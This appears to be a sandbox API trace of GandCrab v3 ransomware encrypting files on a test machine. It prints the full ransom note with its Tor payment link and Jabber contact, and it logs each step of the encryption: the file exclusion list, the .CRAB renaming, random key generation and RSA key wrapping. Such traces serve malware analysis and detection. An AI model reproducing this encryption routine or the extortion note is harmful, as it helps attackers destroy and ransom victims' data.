	[0132.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="5uLKDR9ae" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae"
	[0132.091] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\"
	[0132.091] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0132.092] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0132.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0132.092] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0132.092] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0132.092] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0132.092] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0132.092] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.093] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\\\CRAB-DECRYPT.txt") returned 65
	[0132.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.093] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0132.093] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0132.094] CloseHandle (hObject=0x3ec) returned 1
	[0132.094] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.094] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\") returned 48
	[0132.094] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\*"
	[0132.094] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x320e0d0
	[0132.095] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0132.095] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.095] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0132.095] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0132.095] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.095] lstrcmpW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2=".") returned 1
	[0132.095] lstrcmpW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="..") returned 1
	[0132.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="1yRDmnZ0RkaLnZaO0jJZ.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg"
	[0132.095] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.095] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg") returned 72
	[0132.095] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg") returned 72
	[0132.095] lstrlenW (lpString=".jpg") returned 4
	[0132.095] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.095] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0132.095] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg") returned 72
	[0132.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg") returned 72
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="desktop.ini") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="autorun.inf") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="ntuser.dat") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="iconcache.db") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="bootsect.bak") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="boot.ini") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="ntuser.dat.log") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="thumbs.db") returned -1
	[0132.096] lstrcmpiW (lpString1="1yRDmnZ0RkaLnZaO0jJZ.jpg", lpString2="CRAB-DECRYPT.txt") returned -1
	[0132.096] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.096] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB") returned 77
	[0132.096] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\1yrdmnz0rkalnzao0jjz.jpg")) returned 0x20
	[0132.096] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg", dwFileAttributes=0x20) returned 1
	[0132.097] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\1yrdmnz0rkalnzao0jjz.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\1yrdmnz0rkalnzao0jjz.jpg.crab")) returned 1
	[0132.113] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.113] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB"
	[0132.113] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB.CRAB"
	[0132.113] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6ed98) returned 1
	[0132.117] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.118] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.118] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.118] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.118] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0132.118] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.118] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.121] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.121] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.121] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.122] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.122] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.122] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.122] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.122] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.125] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320dfd0) returned 1
	[0132.125] CryptGetKeyParam (in: hKey=0x320dfd0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.125] CryptEncrypt (in: hKey=0x320dfd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.126] GetLastError () returned 0x0
	[0132.126] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.126] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.131] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e290) returned 1
	[0132.131] CryptGetKeyParam (in: hKey=0x320e290, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.131] CryptEncrypt (in: hKey=0x320e290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.131] GetLastError () returned 0x0
	[0132.131] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.131] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\1yRDmnZ0RkaLnZaO0jJZ.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\1yrdmnz0rkalnzao0jjz.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.132] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.132] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.132] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xc2f, lpOverlapped=0x0) returned 1
	[0132.144] VirtualAlloc (lpAddress=0x0, dwSize=0xc30, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.145] VirtualAlloc (lpAddress=0x0, dwSize=0xc30, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.145] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.146] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffff3d1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.146] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xc30, lpOverlapped=0x0) returned 1
	[0132.146] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.146] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.151] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.151] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.151] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.151] CloseHandle (hObject=0x3f0) returned 1
	[0132.152] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.152] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.152] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.152] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.152] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.153] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.153] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.153] lstrcmpW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2=".") returned 1
	[0132.153] lstrcmpW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="..") returned 1
	[0132.153] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="5rUXe5EsQ6e9AUEH.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png"
	[0132.153] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.153] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png") returned 68
	[0132.153] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png") returned 68
	[0132.153] lstrlenW (lpString=".png") returned 4
	[0132.153] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.154] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.154] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.154] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png") returned 68
	[0132.154] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png") returned 68
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="desktop.ini") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="autorun.inf") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="ntuser.dat") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="iconcache.db") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="bootsect.bak") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="boot.ini") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="ntuser.dat.log") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="thumbs.db") returned -1
	[0132.154] lstrcmpiW (lpString1="5rUXe5EsQ6e9AUEH.png", lpString2="CRAB-DECRYPT.txt") returned -1
	[0132.154] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.155] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB") returned 73
	[0132.155] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\5ruxe5esq6e9aueh.png")) returned 0x20
	[0132.155] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png", dwFileAttributes=0x20) returned 1
	[0132.155] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\5ruxe5esq6e9aueh.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\5ruxe5esq6e9aueh.png.crab")) returned 1
	[0132.156] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.156] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB"
	[0132.156] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\5rUXe5EsQ6e9AUEH.png.CRAB.CRAB"
	[0132.156] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.159] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.160] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.160] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.160] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.160] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.160] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e5a0) returned 1
	[0132.163] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.163] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.163] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.163] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.163] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.163] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.163] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.164] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.164] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e738) returned 1
	[0132.167] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e1d0) returned 1
	[0132.167] CryptGetKeyParam (in: hKey=0x320e1d0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.167] CryptEncrypt (in: hKey=0x320e1d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
